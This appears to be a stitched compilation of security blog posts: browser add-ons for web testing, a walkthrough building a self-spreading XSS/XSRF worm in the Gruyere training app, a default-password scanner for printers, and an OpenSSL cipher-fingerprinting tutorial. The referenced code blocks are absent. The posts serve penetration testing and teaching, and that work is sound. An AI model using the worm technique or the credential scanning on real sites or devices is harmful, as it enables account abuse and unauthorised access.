Detecting cross site scripting

XSS – me

Acunetix xss scanner

I’ve included the link to the Acunetix add-on from my site. You have to sign up with Acunetix in order to receive the add-on and even then it comes bundled with an executable. If for some reason my link doesn’t work with your version of firefox then simply go to the Acunetix site and download their latest version.

Detecting sql injection

SQL inject me

Developer tools are always handy to have because if you can build it you can break it. The web developer add-on will allow you to easily see hidden form fields, javascript, cookies, etc. Firebug will allow you to easily see how the application is built by simply mouseing over the layout. Firebug is also a debugger and will allow you to set breakpoints for javascript, both are a must have.

Firebug

Web developer

Modification tools, if you want to modify a request before it’s sent to the server tamper data is a great tool inside the browser for the job. User agent switcher will allow you to pretend to be any browser you’d like, don’t forget the starbucks iphone problem. Add n edit cookies is another modification tool that will allow you to easily change cookies so that you can impersonate a cookie you have obtained.

Tamper data

User agent switcher

Add n edit cookies

Miscellaneous add-ons. Show IP is a great add-on that will show you the IP connecting to, this may seem lame at first but when you are assessing multiple environments or malware this is always handy. Leet key is another great tool inside the browser that will perform encoding (base64, URL, rot13, etc) and even generate hashes.

Show IP

Leet key

Notable mentions

Foxy proxy

Noscript

If you have any other recommendations please let me know.

Most web site worms spread because they allow javascript to be inserted somewhere into the web application. For example in twitter when a status is updated (via a moronic “tweet”) you are allowed to insert words, sentences, and even links to other interesting sites. If twitter allows you to input all this information what do they block? Javascript is a well known programming language that you should never allow to be inserted into your web application. Even though many web developers know this they continually make mistakes and allow javascript to be inserted into their web apps. There are different categories of javascript attacks such as XSS and XSRF, I’m not a big fan of this naming convention but  you should be familiar with the terms and what they mean. Most all web app worms are spread via the XSRF attack. Basically a XSRF attack is where javascript (possibly other languages) is inserted into the web app, that javascript will then make a request on behalf of the user. This request could be malicious in nature or in case of the twitter worm examples just for fun. The example I’ll be going over will be a classic XSRF attack where I’ll insert javascript to make requests on behalf of the user.

Let’s get started. I went ahead and created several accounts within Gruyere to demo the attack, in this case Travis will be the attacker.

To create a web app worm first you’ll need to discover a vulnerability within a web app that allows you to insert javascript. Luckily the “New Snippet” functionality will allow us to insert javascript. Now to find vulnerable input that allows you to insert javascript may not be that easy. In order to successfully insert javascript you’ll need to be able to insert certain characters such as “<” and “>”. One great tool to find these characters which will in turn find vulnearbilities is Firefox addon named “XSS Me”. XSS Me will tell if an input will allow certain characters. So now that we have vulnerable input how do we get this worm started? As the attacker I will place the following link into a new snippet.

Now all I’m doing here is creating a link to my evil code, to create a worm you don’t have to keep your evil code in another location you could insert all the evil code you need into the vulnerable web app itself. Most of the time inserting all of your evil code into the app itself would be ideal but it really depends on what the vulnerable app will allow you to do. Now that we’ve inserted a link to our evil code what exactly does our evil code look like, below is the source code in evil.html.

Now let’s break evil.html down line by line. All the magic is happening in line one. The first thing that is written is the html paragraph tag “<p”, this is done specifically for this app because anything after the <p> tag would allow other characters. Next is the html body tag with an “onload” action. An action in malicious code is common so that the attacker perform other steps, another common action event is an onmouseover event. Once the page loads it will call the “Wait” function, we’ll come back to that in just a bit. After the wait is the image tag (<img>) to make the XSRF request for me. The request is to add a new snippet to whomever clicks on the link. In this case if a victim were to click on my link it would create a new snippet for them with a link saying “kitten videos”. To add a new snippet within Gruyere the url would be the following

Anything after the equal sign would show up as a new snippet so I inserted the following “malicious” snippet

So what does all that mess mean? If you take all that mess and url decode it’s the following.

In this case I had to url encode my attack so that it would work, this is not uncommon when performing these types of attacks. So as the attacker I’m placing a link inside a new snippet for the victim that says “kitten videos” but that link is still pointing to my evil.html. Now let’s get back to the wait function. I won’t break it down line by line but what happens is when the page fully loads the code will jump to the wait function on line seven. After that setTimeout will execute after one second which calls the Redirect function, the Redirect function will redirect the user to the home page of Gruyere. The whole point of everything after line one is to simply redirect the user back to the homepage after the attack. So now that we have planted the seed of attack let’s see what happens when Alice clicks on our evil link.

Just by clicking on our “evil” link Alice created a snippet that she herself didn’t write, it was our malicious javascript that created the link. Now let’s login as Bob and click on the “kitten videos” in Alice’s snippets.

Bob has now updated his snippets just by simply clicking on the link in Alice’s snippet. You can now see how this can snowball much like other web app worms have spread as well. So in only a few lines of code I have created a worm that will replicate throughout the application infecting whomever clicks on my malicious link. The twitter worm was very simple as well. I could have just as easily made it that if a user were to simply view my snippet that they would get infected as well. Once you allow javascript to be inserted into your app that are a number of things an attacker can do to manipulate your application.

Hopefully this small write up at least some what explains how web app worms get created and how simple they can be. Developers of major applications such as twitter need to better test and review code they have written. As one of my links points out a seventeen year old kid exploited the mighty twitter, just goes to show you how well major applications are focusing on their security. As a user I would never click on a link that you don’t trust and turn off javascript for web apps that don’t need javascript in the first place. If another worm pops up in twitter or facebook I won’t be sad.

When you’ve only got a limited amount of time during a penetration test you want to get the best bang for your buck so I created a python script that will go and check for default usernames and passwords on certain models of printers. Below is the python script.

Usage:  at the command line type the following

So this script takes two arguments, 1) A list of IP’s you’ll want to test against, 2) Name of an output file where successful attempts are logged. If you’re having troubles running the script read my other post about running a python script. The output.txt will contain a list of IP’s that the script was able to log into. There are three variables that you’ll have to modify for your particular printer model that you are trying to scan for on your network, they are listed below.

Username and password variables should be obvious, simply put in the default username and password of the printer on your network. The only thing you’ll have to change in ‘theurl’ variable is the last quoted string. In my case it was ‘/index.html’, in your case it could be ‘/auth/login.html’. Variable ‘theurl’ builds the http request used to log into your printer’s web interface. A full example is below.

This script is doing nothing more than trying to log into the web interface of a printer, that’s it. So the script is not limited to printers, it can be used against any web application that takes a username and password. Although this script can be used against any web application there is a limitation.  This script authenticates to the printer using Basic Access Authentication. There are three main ways to authenticate to a web application.

1. HTTP Basic Access Authentication
2. HTTP Digest Access Authentication
3. HTML Form-based Authentication

So this script will not work if your web application (printer in this case) is using the second or third option. How would you know which one your printer or web application is using? Turns out OWASP has a nice write up on how to test which type of authentication your web application is using. Turns out that no one really uses one and two because they are not as secure as HTML Form-based Authentication wrapped inside SSL. Of course some printers use Basic Authentication because they are poorly built. Basic Authentication actually passes your username and password essentially in plaintext, the only way it tries to hide your username and password is by base64 encoding them which is easily transformed back into plaintext. I don’t want to get lost in the weeds to much but just knowing that your printer is using Basic Authentication is bad enough. Even if you set a strong username and password anyone sniffing network traffic would be able to determine your credentials.

I kicked this script over to Dave Huggins who has tons of experience developing Python applications and he quickly improved upon it by adding the functionality of IP ranges instead of a file. His enhancements can be seen below.

Happy printer hunting.

Output of this command can be seen below.

I use this command on a consistent basis because it lists ciphers from strongest to weakest. So when looking at output from the OpenSSL command you can refer to this list to see how strong or weak the cipher support may be. The “openssl ciphers -v” command has nothing to do with what cipher the web server you are trying to fingerprint supports, “openssl ciphers -v” simply lists the ciphers that OpenSSL can check. I repeat the “openssl ciphers -v” command has nothing to do with the web server you are fingerprinting. You can also check out the man page for additional options when it comes to listing ssl ciphers.

The command you’ll use the most is

but always with options. The “s_client” argument emulates a SSL client that can connect to a remote device running a SSL service. Another helpful option is “-connect“. You’ll need to supply a name/IP and a port (default port is 4433). Enough talking about the commands lets take a look at some examples.

The command above is the basic template you’ll use to fingerprint a web server that supports SSL. Instead of IP address you could also use the domain name (e.g. travisaltman.com). See the example below.

You’ll notice that an error message is generated in the example above, that’s because no SSL service is listening on port 80 at travisaltman.com. This is a typical error message you will see if openssl fails to connect with a SSL service. Now lets see what a successful connection would look like.

The connection may seem to hang but you can kill it with a “Q” or “Cntrl C”, the connection will also eventually timeout. You’ll first notice how much information you get back from the server via the openssl command, initially it can be overwhelming. When it comes to fingerprinting I tend to focus on the “SSL-Session” section because it tells you what protocol and cipher is being used for the communication. In the “SSL-section” above you see that travisaltman.com supports the TLSv1 protocol and the cipher is DHE-RSA-AES256-SHA. This is great that it gives us this information but when it comes to fingerprinting we’ll want to know what other protocols and ciphers the web server supports. Let’s say we wanted to know if a web server supports SSLv2 instead of SSLv3 or TLSv1. The command below tells openssl to only connect using SSLv2, this is done with the “-ssl2″ option.

A truncated version of successful output from this command can be seen below.

So you see that my site supports both SSLv2 and SSLv3, in this case the default cipher for communicating over SSLv2 is the DES-CBC3-MD5 cipher. You’ll notice from the “openssl ciphers -v” command that this is the strongest SSLv2 cipher with a key size of 168. You may then be wondering if this SSL server would support weaker SSLv2 keys and also weaker SSLv3 keys. In order to get this granular you would have to specify within openssl which ciphers to check. This is the reason why I love fingerprinting with openssl as oppose to those tools I mentioned at the beginning of this article. So let’s say you wanted to know if a SSL server supported the weakest SSLv2 cipher, which according the output of “openssl ciphers -v” is EXP-RC4-MD5, you can issue the command below.

A truncated version of successful output from this command can be seen below.

So this proves that my SSL server supports the weakest SSL cipher (40 bit key) possible. Looking through the “openssl ciphers -v” output you’ll notice another SSLv2 cipher that supports 40 bit (EXP-RC2-CBC-MD5). If you wanted to figure out if the SSL server supports either one of these SSLv2 40 bit ciphers you could issue the command below.

The -cipher option behaves like an OR, meaning if any cipher in that colon separated list is found supported by the SSL server the command will execute successfully. Taking a look at an example may clear things up a bit. Let’s fingerprint our buddies over at thepiratebay.org and see what ciphers they support.

I won’t bore you with the output, thepiratebay.org does support this strong cipher, now let’s try the weakest cipher.

No dice, they do not support this weak encryption. Now if you combined these ciphers into one option (-cipher AES256-SHA:EXP-RC4-MD5) you would get successful output. So the point is to be careful when going through the fingerprinting process as you may think a SSL server supports a weak cipher when in fact they don’t. So after you have gone through this process and determined what ciphers and protocols the SSL sever supports what should you take away? This is a very good question and one that lots of people have opinions about. The real answer is it depends on what kind of risk you are willing to accept and how easily accessible you want your application to be. In most cases I would recommend only supporting a SSLv3/TLSv1 256 bit cipher because it’s so easy to implement. Only supporting 256 bit may mean limited access, especially to legacy applications but this is becoming less and less common. Most modern browsers and applications can now easily handle the higher key ciphers. I would also mention numerous vulnerabilites found within SSLv2 including the rollback vulnerability from three years ago. So applications that transmit sensitive information may not want to support SSLv2 at all. Keep in mind that most browsers will attempt to communicate with the highest possible cipher. So even if your SSL server supports SSLv2 for backwards compatibility odds are most users will communicate with the strongest SSLv3/TLSv1 cipher your server supports. You don’t have to solely rely on openssl, you could also test in Firefox if your SSL server allows communications on weaker ciphers. Simply type about:config in the address bar of Firefox, then in the filter type “security.ssl”. From there you can enable and disable various ciphers and see if your SSL sever allows the communication. A screen shot of this can be seen below.

That pretty much wraps up this tutorial on fingerprinting SSL. In my spare time I wrote a shell script that automated this process for me given a list of IP’s that were running a SSL sever. This shell script is not ready for prime time but I hope to release a “tools” section soon and place some of my other scripts in there as well. I’m no guru on this subject it’s just simply my experience. As always your feedback is welcome.

travis@hacktop:~$ more references

http://h71000.www7.hp.com/doc/83final/BA554_90007/rn01.html